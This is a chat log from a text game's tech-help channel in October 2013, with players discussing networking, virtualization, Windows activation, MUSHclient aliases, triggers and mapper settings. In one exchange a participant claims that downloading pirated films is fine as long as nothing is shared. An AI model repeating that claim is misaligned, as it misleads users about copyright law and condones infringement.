T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: if 5 'puters somewhere are showing miley cyrus, i still need my 100kB
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: 100Kb of what?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}SlowMoos Tech: basically what you want is QoS...
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: 100kB/s
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: ah, bandwidth, yeah, that's QoS
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: most modern APs have limited capabilites for that
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: at least in the consumer world
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: ok.. doubletime. but this really sucks:( thanks anyway
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Zade Tech: (sadly, the consumer world is service by callous greedy businessmen that believe uninformed customers are captive marks willing to be satisfied with mediocrity)
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: the world of "good enough"
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: adequate
T3/r7/2013-10-20.txt.gz:{chan ch=tech}SlowMoos Tech: the real problem is that good equipment is hard to market towards someone who has no interest in the technology
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: thats sadly true in every way, every product
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Zade Tech: what is a "virtual box" as in "Asus g75vx gaming" - (Cytan seemed dissatisfied, as though "ripped off")
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: normally the word virtual has something to do with virtual machines (machines defined by software, not hardware) which is normally used in the corporate world
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Arnica Tech: and usually 'virtual box' specifically means the Oracle brand of virtualization
T3/r7/2013-10-20.txt.gz:{chan ch=tech}SlowMoos Tech: though a "virtual linux box" or "virtual windows box" doesn't need to be run on Oracle software
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: i also wouldn't associate "virtual" with gaming in any sense yet.  the video layer of it simply isn't designed for that
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Virtual machines for gaming are a thing, primarily for running Windows games on *nix or Mac computers. You take about a 5 year-esque hit to the performance of the base machine though.
T3/r7/2013-10-20.txt.gz:{chan ch=tech}SlowMoos Tech: actually i'm on a mac now running mushclient in a virtual windows xp though virtualbox
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: well yeah, you basically treat it like emulator :P
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: in terms of performance
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: but i mean in something for modern gaming
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: MUSHclient doesn't really count, it's form based, not direct :D
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can run Morrowind virtually on a computer able to run Skyrim natively, or thereabouts.
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: morrowind is a 10 year old game :P
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Zade Tech: (paraphrased) [17 Oct 16:15:04] Cytan Tech: bought an asus g75vx gaming, hoping to install mint on it or at least dual boot - can't: only virtual box it 
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And yet is still a hell of a lot of fun!
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: after some makeover, it looks awesome again:)
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: they really cared about that game
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Quadrapus Tech: Why cant he dual boot?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Zade Tech: Cytan desired a specific product, but was apparently sold an Asus dud -- (perhaps the unscrupulous salesman remained silent while Cytan rambled on about expectationd)
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Zade Tech: (expectations)
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: oh
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: its probably the secure boot stuff
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: that still hasn't been completely solved (though i think fixes were submitted to the kernel dev, it wasn't good quite yet)
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: everyone can thank M$ for that one
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Mushambo Tech: At what point in the Windows 7 install process does the key get sent to MSFT for activation? Reason I ask IS...
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: you're stealing?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Mushambo Tech: Got a 100% legit key from an IT friend...issue is it is for Home Premium "K" which I believe is Korean ... there's contrasting accounts on various forums as to whether that key is tied specifically to a Korean install disc or can be used on an English one..
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Tech: *Yay!*  Go .... Hwuaijijal!!!  Confounded CeriQ cheers him on.
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Mushambo Tech: Guy was not aware it was Korean (this is 'Murica!) 
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Mushambo Tech: So my hope was to start installing on my old laptop to see if it works before I start on my main box...but if it works, don't want that key to be 'installed' in MSFT eyes
T3/r7/2013-10-20.txt.gz:{chan ch=tech}SlowMoos Tech: does it matter? try it with whatever disc you have and if it doesn't work then get a korean disc or another key...
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Licenses are personal though, so technically, it's still stealing. :P
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: you don't have to activate until you boot into the desktop
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: when it asks just hit next
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Mushambo Tech: Well I dont read Korean...and apparently there's no language packs unless it's Ultimate
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: when you first boot it will complain about it not being activated and you can put the key in then
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Mushambo Tech: So should be fine just turn off wireless to be sure?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: in "elysium". this one boss is typing in some assembler code:)
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: at 40'
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Mushambo Tech: Elysium isn't out on DVD yet, so technically if you're watching it, that's stealing :)
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: the bad people stole it for me:P
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: you can download anything, just be sure not to share and its fine:)
T3/r7/2013-10-20.txt.gz:{chan ch=tech}SlowMoos Tech: can anyone tell me how i add a cexit manually (for another room than the one i'm in)?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Skhald Tech: anyone availiable to help me out with some alias stuff?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Quadrapus Tech: Any tortoiseSVN gurus around?
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Divlia Tech: anyone good with reg expr? I would like to trigger practice line, for example 'Cure poison                27    71%            13'. what should I type to be able to get 'Cure poison' at %1 and '71' at %2?
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Sylra Tech: http://rubular.com/ and figure it out =P
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Xantcha Tech: Probably something like ^(.*)\s+(\d+)\s+(\d+)%\s+(\d+)$
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Divlia Tech: thank you Xantcha:)
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Squiron Tech: what can i do when dns server aint responding ?
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Bast Tech: change your server
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Mushambo Tech: Upgrading to Win 7...roughly speaking, does it make more sense to spend money upgrading RAM from 4 to 8gb, or to get a small (80GB?) SSD ?
T3/r7/2013-10-21.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: those are totally different things
T3/r7/2013-10-21.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: they logically can't really be compared at all... I guess if you want to know which will serve you more it depends on which is the bottleneck for you - either the time to read from a mechanical disk or the limited RAM currently available
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Mushambo Tech: Well at the moment, don't know the bottlenecks as I haven't installed it yet...but I'm hoping to squeeze another year or two out of my desktop...
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Mushambo Tech: Just considering installing it onto an SSD now, rather than a HDD and having problems re-activating the license if I make that switch in a year
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Quadrapus Tech: Anyone a pro with ImageJ/Fiji?
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Pleiades Tech: not with imagej
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Turlak Tech: hello people anyone have time for a few questions about blowtorch
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Turlak Tech: guess not :(
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Ratpack Rintrah Tech: i suggest you ask your question and if anyone knows the answer they'll be happy to help ye out ..
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Tech: A Piece Of Herodotus nods at Ratpack Rintrah.
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Turlak Tech: how to make scripts on blowtorch?
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Tech: blowtorch has pretty limited commands...it doesn't support variables (although you can "fake it" by using aliases...
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Tech: you can read about its functionality on the main site for the client, http://happygoatstudios.com/bt/
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Turlak Tech: okay thanks
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Tech: that site has some examples, like how to use alias recursion to do targetting stuff
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Turlak Tech: thanks il have a looksie
T3/r7/2013-10-21.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: it's pretty much restricted to triggers and aliases, and setting up lots of custom buttons. you could consider a collection of triggers, aliases, and buttons as a "script" but its a bit convoluted
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Turlak Tech: lol sorry do you have another word than cabvoluted my english is not that great
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Book of Etzli Tech: a big mess.
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: What does it mean if my WAN keeps losing connection? Bad modem or cabling?
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Ayasinda Tech: could be both
T3/r7/2013-10-21.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: you'd need to troubleshoot to rule things out until you find the issue
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Tech: could be either, or ISP may be having intermittant issues...
T3/r7/2013-10-21.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: thats usually an issue with the ISP though
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: ISP says their end is fine and apparently mine is too (I'm also a network tech by trade), I've done what troubleshooting I know how to do/have access to doing
T3/r7/2013-10-21.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: yeah they're probably full of it and too lazy to figure it out
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: Going to try pinging wifes pc when it goes down to see if I get a return, since It'll have to run through the modem
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: Goes down almost every 45 minutes like clockwork
T3/r7/2013-10-21.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: have any routers running dhcp or anything?
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Ayasinda Tech: do you vae it connected at some sort or router router/modem?
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: The Modem has a built in router (4 ports) so I'm running direct (hard line) to both PC's and my PS3
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: When it goes out, all modem lights stay lit (like it's active and working fine) but nothing has connection
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Ayasinda Tech: tried plugging into another port?
T3/r7/2013-10-21.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: do you have configuration access to the router at all?
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: I do Hero
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: Yes Aya, went 1 by 1 through the ports and they all dc'd
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: looking at router page now, last downtime was 51 minutes ago
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Ayasinda Tech: but only on your pc? Not on another?
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: On anything
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: Tried all ports with both pc's and ps3
T3/r7/2013-10-21.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: double check your dhcp settings, esp. any static IPs you have setup for MACs, and then double check your IP settings on each workstation (in windows be sure to check the "alternate" settings, too)
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Ayasinda Tech: ok. can you remove the router ans plug it directly into the outlet?
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: No, the modem/router are one
T3/r7/2013-10-21.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: you could still connect an additional router
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: Did that too, have  a belkin router I've used on and off for a while now, plugged it in and ran through it and same issue
T3/r7/2013-10-21.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: some ISPs have varying levels/methods for detection of that, though, and will block it
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: I find it odd though that this problem started Friday without any changes of settings or anything on my end
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Ayasinda Tech: it sounds like an isp problem to me
T3/r7/2013-10-21.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: lol... it usually is the ISP
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: Usually, they just don't admit it. lol
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: Just wasn't sure if there was anything else I could check before I called and got one of their techs out here (they have access to some things I don't)
T3/r7/2013-10-21.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: I mean, you could do some frame caps and try to analyze it
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: Just went down again
T3/r7/2013-10-21.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: I'd offload it to them, though
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: For not even 5 seconds
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: By the time I realized it was down I tried to ping and it was back up
T3/r7/2013-10-21.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: might try clearing your routing tables (rip cache) just for kicks
T3/r7/2013-10-21.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: arp that is
T3/r7/2013-10-21.txt.gz:{chan ch=tech}Metzli Tech: Hmm, I'll check that out
T3/r7/2013-10-22.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Hi my friend got a problem to aard with midpssh.. shes asking whar the url is for midpssh to create a connection? she says all the thing she tried she gets - wrong url parameter
T3/r7/2013-10-22.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: its for Kateshei.
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Divlia Tech: can I manually set noportal and norecall at specific room? I would like to tell a mapper to not using it and I don't wanna use exit locks.
T3/r7/2013-10-22.txt.gz:{chan ch=tech}HappySnail Anaristos Tech: you can raise the room cost
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Divlia Tech: can you tell me more, please?
T3/r7/2013-10-22.txt.gz:{chan ch=tech}HappySnail Anaristos Tech: I am sorry, I thought you were using the cmud mapper, if you are talking about the mush mapper, I don't know.
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Divlia Tech: np, thank you anyway
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Book of Etzli Tech: I think you can, Divlia. mapper help doesn't tell you how?
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Divlia Tech: I've read mapper help all, haven't noticed anything usefull there
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Book of Etzli Tech: note read 6261 on tech... That might help you.
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Divlia Tech: will do, thank you very much
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Divlia Tech: nope, nothing new there, I believe I can't manually do that. Maybe if I specify wrong portal alias and try to use it, mapper will think it's no portal room. Same with recall, will try it.
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Could probably emulate the message and trick MUSH into thinking otherwise.
T3/r7/2013-10-22.txt.gz:{chan ch=tech}HappySnail Anaristos Tech: personally, my excution alias checks the room flags. But that might be a bit over the top.
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Divlia Tech: any idea how to do that instead of wrong portal/recall?
T3/r7/2013-10-22.txt.gz:{chan ch=tech}HappySnail Anaristos Tech: gcmp gives you the room flags.
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Divlia Tech: ah, will try it in my way then
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Book of Etzli Tech: GMCP does not give norecall/prison, though.
T3/r7/2013-10-22.txt.gz:{chan ch=tech}HappySnail Anaristos Tech: you are right, it only gives pk. I forgot that I walked the mud using recon :)
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Ocho Ocho Ocho Tech: anyone here familiar with php and joomla looking for freelance work?
T3/r7/2013-10-22.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: depending on the pay...
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Tech: A Piece Of Herodotus grins evilly.
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Ocho Ocho Ocho Tech: $15-$20/hr?
T3/r7/2013-10-22.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: sorry I can't for that, but I'll ask a couple outsources I use
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Ocho Ocho Ocho Tech: thanks, not hard projects, we had a developer vanish on us
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Martini & Tyebald Tech: that's a pretty low rate for a developer.
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Trachx Tech: depend on country
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Piffaron Tech: developer of whoppers maybe
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Martini & Tyebald Tech: true.
T3/r7/2013-10-22.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: for freelance work like that I have to charge $80 minimum to make a decent amount after taxes, and that leaves no room for scope creep or unexpected changes
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Ocho Ocho Ocho Tech: back sorry
T3/r7/2013-10-22.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: depending on what you need, it might be doable for an amount per project
T3/r7/2013-10-22.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: I try to avoid hourly rates now anyway
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Martini & Tyebald Tech: I bid to spec.  it's the only way to manage "that's what I said, but it's not what I meant".
T3/r7/2013-10-22.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: lol I've gotten much better about that over time
T3/r7/2013-10-22.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: in 2004 id bend over backwards for a client, but i was building my client base and reputation... nowadays I really don't squeeze. I deliver awesome value for my clients and I more try to look at the value add I can offer and come up with a fair share of that for my efforts
T3/r7/2013-10-22.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: also makes negotiation simple, I give them the analysis and my offer and they can easily see where the worth is
T3/r7/2013-10-22.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: it's hard to avoid questions about the "effective hourly rate" though
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Trachx Tech: I use point / hour based system
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Trachx Tech: I mean every piece of UI / code / pseudocode has its value in points
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Pleiades Tech: effective is relative
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Trachx Tech: then points are converted into hours 
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Pleiades Tech: my offshore teams... not effective :)
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Pleiades Tech: at least..  mostly
T3/r7/2013-10-22.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: value points are great for measuring productivity or velocity, but I think equating them to actual $ is a mistake
T3/r7/2013-10-22.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: but that was my experience and how I approached it... if you find something that works, run with it :p
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Tech: A Piece Of Herodotus chuckles at Pleiades's joke.
T3/r7/2013-10-22.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: your name is shared with my home's active directory domain
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Comanchee Tech: do the 2 spellup wishes have the same effect on the time it takes to cast spells/skills and the lag penalty on failed spells regardless of which spellup plugin a player is using?
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Pleiades Tech: but then, that's what you get for an 80/20 offshore/onshore model
T3/r7/2013-10-22.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: the plugin doesn't interact with the lag in any way
T3/r7/2013-10-22.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: the plugin doesn't change the rules of the game, it simply manipulates input and output
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Tech: when you tell the spellup plugins to "cast all now", then the spellup wishes come into play...but when the spellup plugins are doing their job, unless you're in a war or just died, the spellup wishes don't end up helping because the plugin is never casting more than a spell or two
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Tech: A Piece Of Herodotus nods at you in agreement. 
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Tech: the point of the spellup plugins is to always keep you fully spelled up, so it only has to "top off", and is not mass-casting
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Comanchee Tech: ok, thanks
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Comanchee Tech: With bast's quest miniwindow plugin, whenever I restart the mush client the window is absent until I begin another quest.  Is there a command to keep the window present at all times?
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Bast Tech: mquest quest show, or use miniwin_tabbar to toggle it
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Bast Tech: wait, which plugin, miniwin_events or miniwin_quest?
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Comanchee Tech: miniwin_quest
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Bast Tech: btw, you can find a lot of info on the wiki, for the miniwin_quest plugin: https://code.google.com/p/bastmush/wiki/miniwin_quest
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Comanchee Tech: thankyou.  yes I did read it, just didn't realize I had to type a command to make the quest window appear each time I logged on.
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Comanchee Tech: obv not a problem, was just curious :)
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Xaxz Tech: Anyone using MUSH under wine and has a decent fix-width font?
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Mr. Dash Tech: fonts are OS specific? =p
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Xaxz Tech: Hmm.. perhaps I can just yank my windows fonts over... 
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Xaxz Tech: Because this courier new looks terrible
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Mr. Dash Tech: i still use courier(not new) for my main output.
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Xaxz Tech: Ehh, seems the only size I have is 10 and that's just... bleh
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Comanchee Tech: Is there a command to implement a wait time of X seconds in an alias
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Trachx Tech: what for ?
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Trachx Tech: if you need that for cexits then mapper supports pauses
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Comanchee Tech: I'm trying to reproduce bast's following vis alias which disables spells that make him invis, but I'm nto sure how to implement the second part of the alias<send>Execute("bsp sd 'shadow form' hide")
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Comanchee Tech: I'm trying to reproduce bast's vis alias (that disables spells that make him invis), but I'm not sure how to implement the required wait time
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Trachx Tech: I guess you could use "send to script" and then just use lua functions to achieve this
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: wil FM receivers be enabled in cell phones in the near future?
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Comanchee Tech: ok I changed the exit lock to a level above mine, but I can still enter that exit...
T3/r7/2013-10-22.txt.gz:{chan ch=tech}Isafdar Tech: why can't my mapper find a path to the grand city of aylor even though i have a portal mapped to the recall room
T3/r7/2013-10-23.txt.gz:{chan ch=tech}TrEz Tech: how do you pick a data type in mush so it displays decimal spaces
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: can anyone help me with setting up an alias?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: does anyone know how to put a "wait" command in an alias in mushclient?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Turie Tech: The "wait" is put into the mapper, not in the aliases.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}[**NOPK**] Vegan Tech: i usually just put in fingerings of a player as that adds a wait :P
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: Wait is possible if you know how to script aliases in a lua file.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: how about to just make the alias wait for a reply back
T3/r7/2013-10-23.txt.gz:{chan ch=tech}GraySong Gregor Tech: DoAfterSpecial
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: Oh yeah, forgot about that one
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: not in mapper... in aliases?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: Yeah, that's in aliases.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: Sorry Sylvex, you can't do that.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: do i need a #
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Prefect Tech: does anyone have a good msp file for mushclient
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: Change output to Script and put in DoAfter( 2, "look" )
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: All of your other commands will need to be changed to either Send("kill") or SendNoEcho("kill")
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: for that alias, that is
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: hrm how about this... i wish to set up an alias "recall" that will help me recall, move south
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Prefect Tech: say where can I find a msp?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: but i dont want to move south until i'm sure i recalled
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: cause some rooms dont allow me to recall
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: This won't provide error checking.. it's still going to make you try to go south
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: so my alias "recall" should be something like: recall, #waitforresponse, move s, sleep
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: you would need to modify the mapper script
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: not possible
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: DOH
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: Just find what room you want to go to sleep, type "mapper thisroom"
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: Take that ID number, create an alias that is "mapper goto ###;sleep"
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: it's probably easier to make a custom alias that triggers a separate move on reaching recall
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: he wants to guarantee he goes to recall before moving xaxz
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Prefect Tech: how do you get your name next to your chat on this channel?
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: well, a separate trig would force me to move every time i enter recall room lol
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: no, that's why your alias would enable the trig
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: Slow down.  I'm teaching you how to do it.  Just do the steps
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: and the trig would disable itself after firing once
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Xaxz Tech: I'll cover the recall part.
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: oh
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: ah
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: xaxz the mapper cannot guarantee it gets to recall
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: correct redryn!
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: agreed
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: just make alias1 -> recall, enable trigger (recall detect trigger)
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Redryn Tech: recall detect trigger -> move, sleep, disable recall detect trig
